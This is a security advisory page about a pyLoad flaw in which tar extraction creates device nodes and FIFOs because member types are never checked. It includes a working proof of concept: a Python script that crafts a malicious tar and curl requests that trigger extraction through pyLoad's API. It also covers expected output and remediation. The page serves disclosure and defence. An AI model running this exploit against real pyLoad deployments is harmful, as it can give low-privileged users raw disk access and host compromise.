Tar extraction in pyLoad creates device nodes and FIFOs
Key facts
- Attack vector
- —
- Privileges required
- —
- User interaction
- —
- Attack complexity
- —
- Impact type
- —
- Confidentiality · integrity · availability
- —
- Fix status
- No fix listed
No CVSS vector from any source. Fix status from GitHub.
Summary
The pyload-ng package on PyPI, from 0 through 0.5.0b3.dev101, extracts tar archives without checking member types. Crafted archives can make pyLoad create character or block device nodes and FIFOs on disk, even though names and link targets are checked (CWE-22). A low-privileged user who can trigger archive extraction can do this, and when pyLoad runs as root, a block device grants raw disk access.
Written with Claude Haiku 5.5 from the sources below · 2026-10-29
Description from the GitHub advisory
### Summary `UnTar._safe_extractall` — the hardening added for GHSA-mvwx-582f-56r7 — validates member **names** and symlink/hardlink **targets**, but never checks member **types**, and calls `tarfile.extractall` without a `filter=`. On Python < 3.14 the default extraction filter is `fully_trusted`, so a crafted tar containing device or FIFO entries makes pyLoad create them on disk. When pyLoad runs as root (the official Docker deployment), a block-device member grants raw disk access — full host compromise — reachable by any low-privileged user who can trigger archive extraction (ADD to supply an archive, STATUS to invoke `ExtractArchive.extract_package`). ### Details ```python # plugins/extractors/UnTar.py:69-79 for member in tar.getmembers(): if not is_within_directory(...) or <symlink/hardlink target checks>: # names/links only raise ArchiveError(...) tar.extractall(path, members, numeric_owner=numeric_owner) # no filter= ``` No `member.isdev()` / `ischr()` / `isblk()` / `isfifo()` check exists, and the pre-validation in `plugins/base/extractor.py:191-263` is likewise name-only. Python's tarfile only defaults to a safe filter in 3.14; supported runtimes (3.9–3.13) honor `mknod` for euid=0 and create FIFOs for any euid. ### PoC ```bash BASE=http://127.0.0.1:8100 # craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member python3 - <<'EOF' import tarfile, io t = tarfile.open('dev.bin','w') # name it *.bin so UnTar (content-sniffed) claims it t.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER')) i = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666 t.addfile(i) f = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE t.addfile(f); t.close() EOF # as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder, # then trigger extraction curl -s -X POST "$BASE/api/add_package" -b ed.jar -H "X-CSRFToken: $T" \ -H 'Content-Type: application/json' -d '{"name":"poc","links":["http://x/dev.bin"],"dest":1}' curl -s -X POST "$BASE/api/service_call" -b ed.jar -H "X-CSRFToken: $T" \ -H 'Content-Type: application/json' \ -d '{"service_name":"ExtractArchive.extract_package","arguments":["<pid>"]}' ls -l <extract dir> # → crw-rw-rw- 1 root root 1, 3 nulldev (character device created) # → prw-r--r-- 1 root root pipe (FIFO created) # → -rw-r--r-- 1 root root marker.txt ``` Negative control: the same flow with a `../evil` traversal member is rejected (`ArchiveError: Attempted path traversal in archive`) and nothing is extracted — the GHSA-mvwx name filter works; the gap is member-**type**-specific. (Note: when the 7z binary is present, `.tar`-named files are claimed by SevenZip first by extension; the UnTar path is reached via non-mapped names — as above — content-sniffed containers, or when 7z is absent/fails.) ### Impact With pyLoad as root, a crafted archive can create block/character device nodes at arbitrary paths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion), or set special bits; non-root deployments still get FIFOs and node entries in user-accessible trees. ### Remediation In `_safe_extractall`, reject (or skip) every member that is not a regular file, directory, or safe link — e.g. `member.isdev() or isfifo()` → `ArchiveError` — and pass `filter="data"` (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply the same member-type validation in the pre-extraction validator so all extractors share it. ### References - GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated, member types not).
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | pyload-ng (PyPI) | up to 0.5.0b3.dev101 | — | No fix listed | GHSA-fr26-jjhm-638c |
- pyload-ng (PyPI) Vendor— Affected up to 0.5.0b3.dev101 Fixed in — No fix listed GHSA-fr26-jjhm-638c
Remediation
The sources list no fixed version for pyload-ng.
Written with Claude Haiku 5.5 from the sources below · 2026-10-29
Timeline
- 2026-10-09 Threatist record created from GHSA-fr26-jjhm-638c
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences